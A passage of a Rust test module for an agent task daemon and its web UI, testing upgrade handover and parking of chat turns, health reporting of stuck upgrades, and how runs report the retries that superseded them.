15016 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15017 }
15018 assert!(
15019 log.contains(if fail { "did not start" } else { "pid 4242" }),
15020 "{log}"
15021 );
15022 }
15023 }
15024
15025 #[tokio::test]
15028 async fn the_handover_signal_wakes_one_waiter_once() {
15029 let signal = Notify::new();
15030 signal.notify_one();
15032 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15033 .await
15034 .expect("an early signal is still seen");
15035 assert!(
15037 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15038 .await
15039 .is_err(),
15040 "a consumed signal must not wake a second time"
15041 );
15042 let signal = std::sync::Arc::new(signal);
15044 let waiter = tokio::spawn({
15045 let signal = std::sync::Arc::clone(&signal);
15046 async move { wait_for_handover(&signal).await }
15047 });
15048 tokio::time::sleep(Duration::from_millis(20)).await;
15049 assert!(!waiter.is_finished(), "nothing was signalled yet");
15050 signal.notify_one();
15051 tokio::time::timeout(Duration::from_secs(5), waiter)
15052 .await
15053 .expect("a late signal wakes the waiter")
15054 .expect("join");
15055 }
15056
15057 #[tokio::test]
15058 async fn health_says_how_long_a_handover_has_been_stuck() {
15059 let fx = Fixture::start().await;
15060 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15061 progress.advance(crate::updater::Stage::Replaced);
15062 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15063 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15064
15065 let health = fx.get("/api/health").await.json();
15066 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15067 assert!(stuck >= 600, "{stuck}");
15068 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15069 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15070 }
15071
15072 #[tokio::test]
15073 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15074 let home = tempfile::tempdir().expect("temp home");
15075 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15076 progress.advance(crate::updater::Stage::Parking);
15077 crate::updater::write_progress(home.path(), &progress).expect("seed");
15078 let mut again = progress.clone();
15080 again.advance(crate::updater::Stage::Replaced);
15081 crate::updater::write_progress(home.path(), &again).expect("replaced");
15082 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15083 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15084 let after = crate::updater::read_progress(home.path()).expect("record");
15085 assert_eq!(after.stage, crate::updater::Stage::Parking);
15086 }
15087
15088 #[tokio::test]
15089 async fn health_does_not_call_a_live_parking_wait_stuck() {
15090 let fx = Fixture::start().await;
15091 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15092 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15093 progress.advance(crate::updater::Stage::Parking);
15094 let hours = Duration::from_secs(3 * 3600);
15095 progress.started_at = Timestamp::now() - hours;
15096 progress.updated_at = Timestamp::now() - hours;
15097 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15098 let _lease = crate::updater::LeaseGuard::enter(
15099 fx.home.path(),
15100 Some("20260905-000000-cd51".to_owned()),
15101 );
15102
15103 let health = fx.get("/api/health").await.json();
15104 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15105 assert!(health["upgrade"]["stuck_kind"].is_null());
15106 assert_eq!(health["upgrade"]["handover_alive"], true);
15107 let waiting_on = health["upgrade"]["waiting_on"]
15108 .as_str()
15109 .expect("waiting_on");
15110 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15111 }
15112
15113 fn idle_ui(home: &TempDir) -> Ui {
15114 let runs = home.path().join("runs");
15115 std::fs::create_dir_all(&runs).expect("runs dir");
15116 Ui::new(
15117 Queue::at(home.path().join("queue")),
15118 Questions::at(home.path().join("questions")),
15119 Talks::at(home.path().join("talks")),
15120 runs,
15121 home.path().to_path_buf(),
15122 PathBuf::from("/repo/magi"),
15123 )
15124 .with_launch(launch_idle)
15125 }
15126
15127 async fn park_fixture(
15128 home: &TempDir,
15129 ) -> (
15130 Ui,
15131 Arc<Mutex<LoopState>>,
15132 Arc<Mutex<TalkTurns>>,
15133 tokio::task::JoinHandle<std::io::Result<()>>,
15134 ) {
15135 let ui = idle_ui(home);
15136 let looping = ui.looping();
15137 let turns = ui.turns();
15138 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15139 .await
15140 .expect("bind loopback");
15141 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15142 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15143 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15144 (ui, looping, turns, served)
15145 }
15146
15147 #[tokio::test]
15151 async fn hand_over_waits_for_a_running_chat_turn() {
15152 let home = TempDir::new().expect("temp home");
15153 let (ui, looping, turns, served) = park_fixture(&home).await;
15154 let ui = Arc::new(ui);
15155 let id = "20260901-000000-chat";
15156 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15157
15158 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15159 let handover = tokio::spawn({
15160 let home = home.path().to_path_buf();
15161 let turns = Arc::clone(&turns);
15162 let calls = Arc::clone(&calls);
15163 async move {
15164 hand_over(
15165 &home,
15166 &looping,
15167 &turns,
15168 &|_: &[String]| Duration::from_secs(60),
15169 served,
15170 move |_| {
15171 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15172 Ok(1)
15173 },
15174 )
15175 .await
15176 }
15177 });
15178
15179 let waiting = async {
15180 for _ in 0..200 {
15181 if crate::updater::read_progress(home.path())
15182 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15183 {
15184 return;
15185 }
15186 tokio::time::sleep(Duration::from_millis(25)).await;
15187 }
15188 panic!("the park never named the chat turn");
15189 };
15190 waiting.await;
15191 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15192
15193 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15196 assert!(
15197 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15198 "a direct start says an upgrade is in progress"
15199 );
15200 assert!(
15201 ui.begin_queued_talk_turn("20260901-000000-late")
15202 .expect("queued claim")
15203 .is_none()
15204 );
15205 assert!(matches!(
15206 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15207 .expect("start"),
15208 TalkTurnStart::Busy
15209 ));
15210 assert_eq!(turns.lock().unwrap().live.len(), 1);
15211
15212 let progress = crate::updater::read_progress(home.path()).expect("progress");
15214 let view = upgrade_progress_view(&ui, progress);
15215 assert!(
15216 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15217 "{:?}",
15218 view.waiting_on
15219 );
15220
15221 assert!(!handover.is_finished());
15222 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15223 drop(turn);
15224 handover.await.expect("join").expect("hand over");
15225 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15226 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15227 }
15228
15229 #[tokio::test]
15232 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15233 let home = TempDir::new().expect("temp home");
15234 let (ui, looping, turns, served) = park_fixture(&home).await;
15235 let id = "20260901-000000-stuk";
15236 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15237
15238 let calls = std::sync::atomic::AtomicUsize::new(0);
15239 hand_over(
15240 home.path(),
15241 &looping,
15242 &turns,
15243 &|_: &[String]| Duration::from_millis(300),
15244 served,
15245 |_| {
15246 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15247 Ok(1)
15248 },
15249 )
15250 .await
15251 .expect("hand over");
15252 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15253
15254 let progress = crate::updater::read_progress(home.path()).expect("progress");
15255 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15256 assert!(
15257 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15258 "{:?}",
15259 progress.detail
15260 );
15261 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15262 assert!(
15263 log.contains("handing over anyway") && log.contains(id),
15264 "{log}"
15265 );
15266 }
15267
15268 #[tokio::test]
15271 async fn drain_loop_starts_no_turn_while_parking() {
15272 let tmp = TempDir::new().expect("tempdir");
15273 let repo = tmp.path().join("repo");
15274 std::fs::create_dir_all(&repo).expect("repo dir");
15275 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15276 let home = TempDir::new().expect("temp home");
15277 let talks = Talks::at(home.path().join("talks"));
15278 let ui = Ui::new(
15279 Queue::at(home.path().join("queue")),
15280 Questions::at(home.path().join("questions")),
15281 talks.clone(),
15282 home.path().join("runs"),
15283 home.path().to_path_buf(),
15284 repo.clone(),
15285 )
15286 .with_worktrees_root(home.path().join("wt"));
15287 let cfg = config_for(&repo).await.expect("discover config");
15288 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15289 let id = talk.id.clone();
15290 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15291 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15292 let turns = ui.turns();
15293 let parking = ParkingTurns::begin(&turns);
15294
15295 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15296
15297 assert!(
15298 turns.lock().unwrap().live.is_empty(),
15299 "the slot is given up"
15300 );
15301 let fresh = talks.get(&id).expect("talk");
15302 assert_eq!(fresh.pending, "later", "the draft is still queued");
15303 assert!(fresh.turns.is_empty(), "no turn ran");
15304 drop(parking);
15305 }
15306
15307 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15309 let looping = ui.looping();
15310 let turns = ui.turns();
15311 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15312 .await
15313 .expect("bind loopback");
15314 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15315 let told = std::sync::Mutex::new(None);
15316 hand_over(
15317 home.path(),
15318 &looping,
15319 &turns,
15320 &|_: &[String]| Duration::from_secs(5),
15321 served,
15322 |resume| {
15323 *told.lock().unwrap() = Some(resume);
15324 Ok(1)
15325 },
15326 )
15327 .await
15328 .expect("hand over");
15329 told.into_inner().unwrap().expect("successor was started")
15330 }
15331
15332 #[tokio::test]
15333 async fn a_running_loop_is_resumed_by_the_successor() {
15334 let home = TempDir::new().expect("temp home");
15335 let ui = idle_ui(&home);
15336 ui.start_loop(None).expect("start");
15337 ui.park_for_upgrade().expect("park");
15338 for _ in 0..500 {
15340 if !ui.loop_view(None).running {
15341 break;
15342 }
15343 tokio::time::sleep(Duration::from_millis(2)).await;
15344 }
15345 assert!(handed_over(&home, ui).await, "a running loop must resume");
15346
15347 let successor = idle_ui(&home);
15348 assert!(!successor.loop_view(None).running);
15349 assert!(successor.resume_after_handover(true));
15350 assert!(successor.loop_view(None).running);
15351 successor.stop_loop(None, false).expect("stop");
15352 }
15353
15354 #[tokio::test]
15355 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15356 let home = TempDir::new().expect("temp home");
15357 let ui = idle_ui(&home);
15358 ui.start_loop(None).expect("start");
15359 ui.park_for_upgrade().expect("first park");
15360 ui.park_for_upgrade().expect("second park");
15361 assert!(handed_over(&home, ui).await);
15362 }
15363
15364 #[tokio::test]
15365 async fn a_stop_during_the_handover_wait_is_honoured() {
15366 let home = TempDir::new().expect("temp home");
15367 let ui = idle_ui(&home);
15368 ui.start_loop(None).expect("start");
15369 ui.park_for_upgrade().expect("park");
15370 ui.stop_loop(None, false).expect("stop");
15371 assert!(!handed_over(&home, ui).await);
15372 }
15373
15374 #[tokio::test]
15375 async fn an_idle_loop_stays_stopped_across_the_handover() {
15376 let home = TempDir::new().expect("temp home");
15377 let ui = idle_ui(&home);
15378 ui.park_for_upgrade().expect("park");
15379 assert!(!handed_over(&home, ui).await);
15380
15381 let successor = idle_ui(&home);
15382 assert!(!successor.resume_after_handover(false));
15383 assert!(!successor.loop_view(None).running);
15384 }
15385
15386 #[tokio::test]
15387 async fn a_loop_the_operator_stopped_is_not_resumed() {
15388 let home = TempDir::new().expect("temp home");
15389 let ui = idle_ui(&home);
15390 ui.start_loop(None).expect("start");
15391 ui.stop_loop(None, false).expect("stop");
15392 ui.park_for_upgrade().expect("park");
15393 assert!(!handed_over(&home, ui).await);
15394 }
15395
15396 #[test]
15397 fn only_an_explicit_one_requests_a_resume() {
15398 assert!(!resume_requested(None));
15399 assert!(!resume_requested(Some("0".into())));
15400 assert!(!resume_requested(Some("".into())));
15401 assert!(resume_requested(Some("1".into())));
15402 }
15403
15404 #[test]
15405 fn the_upgrade_button_arms_before_it_restarts_anything() {
15406 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15409 assert!(APP_JS.contains("Replace the binary and restart?"));
15410 assert!(APP_JS.contains("function confirmed("));
15411 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15416 assert!(
15420 APP_JS.contains("Parking, then restarting"),
15421 "the button says what it is waiting for"
15422 );
15423 assert!(APP_JS.contains("if (!out.to)"));
15426 }
15427
15428 #[test]
15429 fn stopping_the_loop_arms_but_starting_does_not() {
15430 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15433 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15434 assert!(APP_JS.contains("confirmed(button, question)"));
15435 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
15438 assert!(APP_JS.contains("const label = btn.textContent;"));
15439 assert!(!APP_JS.contains("Neither direction is guarded"));
15440 }
15441
15442 #[test]
15443 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15444 assert!(
15445 APP_JS.contains("state.health.version"),
15446 "the operator wants to know what is running even with nothing newer"
15447 );
15448 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15449 }
15450
15451 #[test]
15452 fn the_upgrade_button_names_its_destination() {
15453 assert!(
15454 APP_JS.contains("`Update to ${update.to}`"),
15455 "pressing the button should not be a surprise about what it moves to"
15456 );
15457 }
15458
15459 #[test]
15460 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15461 for stage in ["downloading", "replaced", "parking", "restarting"] {
15462 assert!(
15463 APP_JS.contains(&format!("\"{stage}\"")),
15464 "the phone must be able to tell {stage} apart from the others"
15465 );
15466 }
15467 assert!(APP_JS.contains(".waiting_on"));
15468 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15473 assert!(APP_JS.contains("reconnects on its own"));
15474 }
15475
15476 #[test]
15477 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15478 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15487 ..APP_JS.find("function upgrade(").expect("upgrade")];
15488 assert!(
15489 !body.contains(
15490 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
15491 ),
15492 "a failed upgrade must not take the whole strip over the way it used to"
15493 );
15494 assert!(
15495 body.contains("upgradeFailNote"),
15496 "the failure has to reach the loop's own note instead"
15497 );
15498 assert_eq!(
15502 body.matches("upgradeFailNote].filter(Boolean).join")
15503 .count(),
15504 2,
15505 "both loop-why writers (quiet and control) must fold the note in"
15506 );
15507 }
15508
15509 #[test]
15510 fn an_overdue_upgrade_eventually_asks_for_a_human() {
15511 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15514 assert!(APP_JS.contains("function upgradeOverdue("));
15515 }
15516
15517 #[test]
15518 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15519 assert!(
15520 APP_JS.contains("Updated to ${upgradeInfo.to"),
15521 "the operator who asked for the restart wants to know it worked"
15522 );
15523 }
15524
15525 #[test]
15526 fn an_error_is_visible_from_where_the_button_is() {
15527 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15532 ..APP_CSS.find(".alert-text").expect(".alert-text")];
15533 assert!(
15534 alert.contains("position: fixed"),
15535 "an error about the thing under your thumb has to be visible from \
15536 where your thumb is: {alert}"
15537 );
15538 assert!(
15539 alert.contains("z-index: 25"),
15540 "above the dock (20) and the run-actions FAB (15), so neither \
15541 buries it: {alert}"
15542 );
15543 assert!(
15544 alert.contains("var(--tap)"),
15545 "and clear of the dock and the home indicator: {alert}"
15546 );
15547 assert!(
15550 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15551 "the FAB's column stays free: {alert}"
15552 );
15553 }
15554
15555 #[tokio::test]
15556 async fn an_older_attempt_says_what_replaced_it() {
15557 let fx = Fixture::start().await;
15558 let q = fx.queue();
15559 let runs = fx.runs();
15560 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15561 write_run(&runs, first, RunStatus::Stalled);
15562 write_run(&runs, second, RunStatus::Blocked);
15563
15564 let mut t = Task::new(
15565 "one task".to_owned(),
15566 "do it".to_owned(),
15567 PathBuf::from("/repo"),
15568 Source::Human,
15569 );
15570 t.runs = vec![first.to_owned(), second.to_owned()];
15571 q.put(&mut t).expect("put");
15572
15573 let rows = fx.get("/api/runs").await.json();
15577 let by = |short: &str| -> Value {
15578 rows.as_array()
15579 .unwrap()
15580 .iter()
15581 .find(|r| r["short"] == short)
15582 .cloned()
15583 .unwrap_or(Value::Null)
15584 };
15585 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15586 assert!(
15587 by("bbbb")["superseded_by"].is_null(),
15588 "the latest attempt is not superseded by anything"
15589 );
15590 assert!(APP_JS.contains("run.superseded_by"));
15592 assert!(APP_JS.contains("Superseded by"));
15593 }
15594
15595 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15596 let mut t = Task::new(
15597 "one task".to_owned(),
15598 "do it".to_owned(),
15599 PathBuf::from("/repo"),
15600 Source::Human,
15601 );
15602 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15603 t.status = status;
15604 t
15605 }
15606
15607 #[test]
15608 fn source_link_picks_the_page_that_filed_the_task() {
15609 let agent = |node: &str| Source::Agent {
15610 run: "20260904-014455-ab12".to_owned(),
15611 node: node.to_owned(),
15612 };
15613 let chat = source_link(&agent("chat")).expect("chat link");
15614 assert_eq!(chat.kind, "chat");
15615 assert_eq!(chat.id, "20260904-014455-ab12");
15616 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15617 let run = source_link(&agent("implement")).expect("run link");
15618 assert_eq!(
15619 (run.kind, run.href.as_str()),
15620 ("run", "#/runs/20260904-014455-ab12")
15621 );
15622 assert_eq!(source_link(&Source::Human), None);
15623 assert_eq!(
15624 source_link(&Source::Issue {
15625 number: 3,
15626 repo: "o/r".to_owned()
15627 }),
15628 None
15629 );
15630 let odd = source_link(&Source::Agent {
15631 run: "a b/c".to_owned(),
15632 node: "chat".to_owned(),
15633 })
15634 .expect("link");
15635 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15636 }
15637
15638 #[test]
15639 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15640 assert!(
15641 !APP_JS.contains("src.node === \"chat\""),
15642 "inline href rule is back"
15643 );
15644 assert!(
15645 APP_JS.matches("sourceLinkOf(").count() >= 4,
15646 "helper must serve every page"
15647 );
15648 assert!(
15649 APP_JS.matches("openChatLink(").count() >= 3,
15650 "the run page still needs its explicit chat link"
15651 );
15652 assert!(
15653 !APP_JS.contains("const openChat = el("),
15654 "the Queue card duplicates its source label link again"
15655 );
15656 assert!(
15657 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15658 "the task page must link a chat source label too"
15659 );
15660 }
15661
15662 #[test]
15663 fn task_ref_carries_the_source_link_for_a_chat_task() {
15664 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15665 t.source = Source::Agent {
15666 run: "20260904-014455-ab12".to_owned(),
15667 node: "chat".to_owned(),
15668 };
15669 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15670 let v = serde_json::to_value(&out).expect("json");
15671 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15672 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15673 assert_eq!(v["source_label"], t.source.label());
15674
15675 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15676 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15677 .expect("json");
15678 assert!(v["source_link"].is_null(), "{v}");
15679 }
15680
15681 #[test]
15682 fn task_view_serializes_source_link() {
15683 let mut t = Task::new(
15684 "t".to_owned(),
15685 "t".to_owned(),
15686 PathBuf::from("/repo"),
15687 Source::Agent {
15688 run: "20260901-000000-aaaa".to_owned(),
15689 node: "implement".to_owned(),
15690 },
15691 );
15692 t.runs.clear();
15693 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15694 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15695 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15696 }
15697
15698 #[tokio::test]
15699 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15700 let fx = Fixture::start().await;
15701 let runs = fx.runs();
15702 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15703 write_run(&runs, old, RunStatus::Blocked);
15704 write_run(&runs, new, RunStatus::Merged);
15705 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15706 fx.queue().put(&mut t).expect("put");
15707
15708 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15709 let task = &view["task"];
15710 assert_eq!(task["status"], "done");
15711 assert_eq!(task["is_latest"], false);
15712 assert_eq!(task["latest"]["short"], "bbbb");
15713 assert_eq!(task["finished_by"]["id"], new);
15714 assert_eq!(task["finished_by"]["outcome"], "merged");
15715 assert_eq!(task["closed_by_hand"], false);
15716 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15717 assert!(APP_JS.contains("finished_by"));
15718 assert!(APP_JS.contains("superseded by run"));
15719 }
15720
15721 #[tokio::test]
15722 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15723 let fx = Fixture::start().await;
15724 let runs = fx.runs();
15725 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15726 write_run(&runs, old, RunStatus::Stalled);
15727 write_run(&runs, new, RunStatus::Blocked);
15728 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15729 fx.queue().put(&mut t).expect("put");
15730
15731 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15732 assert_eq!(task["status"], "held");
15733 assert_eq!(task["is_latest"], true);
15734 assert!(task["latest"].is_null());
15735 assert!(task["finished_by"].is_null());
15736 assert_eq!(task["closed_by_hand"], false);
15737 }
15738
15739 #[tokio::test]
15740 async fn a_direct_run_has_no_task_outcome() {
15741 let fx = Fixture::start().await;
15742 let runs = fx.runs();
15743 let id = "20260901-000000-aaaa";
15744 write_run(&runs, id, RunStatus::Blocked);
15745 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15746 assert!(view["task"].is_null());
15747 }
15748
15749 #[test]
15750 fn task_outcome_does_not_guess_a_finishing_run() {
15751 let a = "20260901-000000-aaaa";
15752 let b = "20260901-000000-bbbb";
15753 let c = "20260901-000000-cccc";
15754 let dir = tempfile::tempdir().expect("tempdir");
15755 write_run(dir.path(), a, RunStatus::Blocked);
15756 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15757 let read = |id: &str| read_run(dir.path(), id).ok();
15759 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15762 let out = task_outcome(&t, a, 3, read);
15763 assert!(out.finished_by.is_none());
15764 assert!(out.closed_by_hand);
15765 let latest = out.latest.expect("latest");
15766 assert_eq!(latest.id, c);
15767 assert_eq!(latest.status, None);
15768 assert_eq!(latest.outcome, "record unreadable");
15769
15770 write_run(dir.path(), c, RunStatus::Ready);
15772 let t = outcome_task(&[a, c], TaskStatus::Done);
15773 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15774 assert_eq!(out.finished_by.expect("finisher").id, c);
15775 assert!(!out.closed_by_hand);
15776
15777 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15779 assert!(task_outcome(&t, a, 3, read).is_latest);
15780 }
15781
15782 #[tokio::test]
15783 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15784 let fx = Fixture::start().await;
15789 let q = fx.queue();
15790 let runs = fx.runs();
15791 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15792 write_run(&runs, first, RunStatus::Blocked);
15793 write_run(&runs, second, RunStatus::Merged);
15794
15795 let mut t = Task::new(
15796 "one task".to_owned(),
15797 "do it".to_owned(),
15798 PathBuf::from("/repo"),
15799 Source::Human,
15800 );
15801 t.runs = vec![first.to_owned(), second.to_owned()];
15802 q.put(&mut t).expect("put");
15803
15804 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15805 assert_eq!(earlier["superseded_by"], "dddd");
15806 assert_eq!(earlier["latest_attempt"]["id"], second);
15807 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15808 assert_eq!(
15809 earlier["latest_attempt"]["resolved"], true,
15810 "the run that replaced it landed, so this one reads as settled"
15811 );
15812
15813 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15814 assert!(
15815 later["superseded_by"].is_null(),
15816 "the latest attempt is not superseded by anything"
15817 );
15818 assert!(
15819 later["latest_attempt"].is_null(),
15820 "the latest attempt has no later attempt of its own"
15821 );
15822
15823 assert!(APP_JS.contains("run.latest_attempt"));
15830 assert!(APP_JS.contains("data-superseded"));
15831 assert!(APP_JS.contains("#/runs/${latest.id}"));
15832 }
15833
15834 #[tokio::test]
15835 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15836 let fx = Fixture::start().await;
15842 let q = fx.queue();
15843 let runs = fx.runs();
15844 let (a, b, c) = (
15845 "20260901-000000-aaaa",
15846 "20260901-000000-bbbb",
15847 "20260901-000000-cccc",
15848 );
15849 write_run(&runs, a, RunStatus::Blocked);
15850 write_run(&runs, b, RunStatus::Blocked);
15851 write_run(&runs, c, RunStatus::Merged);
15852
15853 let mut t = Task::new(
15854 "retried twice".to_owned(),
15855 "do it".to_owned(),
15856 PathBuf::from("/repo"),
15857 Source::Human,
15858 );
15859 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15860 q.put(&mut t).expect("put");
15861
15862 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15863 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15864 assert_eq!(
15865 view["latest_attempt"]["id"], c,
15866 "the chain's current head, not the intermediate Blocked retry"
15867 );
15868 assert_eq!(view["latest_attempt"]["resolved"], true);
15869
15870 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15871 assert_eq!(mid["latest_attempt"]["id"], c);
15872 assert_eq!(mid["latest_attempt"]["resolved"], true);
15873 }
15874
15875 #[tokio::test]
15876 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15877 let fx = Fixture::start().await;
15878 let q = fx.queue();
15879 let runs = fx.runs();
15880
15881 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15884 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15885 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15886 let mut t1 = Task::new(
15887 "still stuck".to_owned(),
15888 "do it".to_owned(),
15889 PathBuf::from("/repo"),
15890 Source::Human,
15891 );
15892 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15893 q.put(&mut t1).expect("put");
15894 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15895 assert_eq!(view1["latest_attempt"]["resolved"], false);
15896 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15897 assert_eq!(view1["latest_attempt"]["done"], true);
15898
15899 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15901 write_run(&runs, run_a, RunStatus::Blocked);
15902 write_run(&runs, run_b, RunStatus::Implementing);
15903 let mut t3 = Task::new(
15904 "retrying".to_owned(),
15905 "do it".to_owned(),
15906 PathBuf::from("/repo"),
15907 Source::Human,
15908 );
15909 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15910 q.put(&mut t3).expect("put");
15911 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15912 assert_eq!(view3["latest_attempt"]["id"], run_b);
15913 assert_eq!(view3["latest_attempt"]["resolved"], false);
15914 assert_eq!(view3["latest_attempt"]["done"], false);
15915
15916 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15921 write_run(&runs, noop_a, RunStatus::Blocked);
15922 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15923 let mut t2 = Task::new(
15924 "claims done".to_owned(),
15925 "do it".to_owned(),
15926 PathBuf::from("/repo"),
15927 Source::Human,
15928 );
15929 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15930 q.put(&mut t2).expect("put");
15931 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15932 assert_eq!(
15933 view2["latest_attempt"]["resolved"], false,
15934 "an unverified no-op claim must not read as a confirmed finish"
15935 );
15936
15937 assert!(APP_JS.contains("latest.resolved"));
15940 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15943 assert!(APP_JS.contains("Latest attempt: "));
15944 assert!(APP_JS.contains("in flight"));
15945 assert!(APP_JS.contains("not resolved"));
15946 }
15947
15948 #[tokio::test]
15949 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15950 let fx = Fixture::start().await;
15951 let js = fx.get("/app.js").await;
15957 assert_eq!(js.status, 200);
15958 let tag = js
15959 .header("etag")
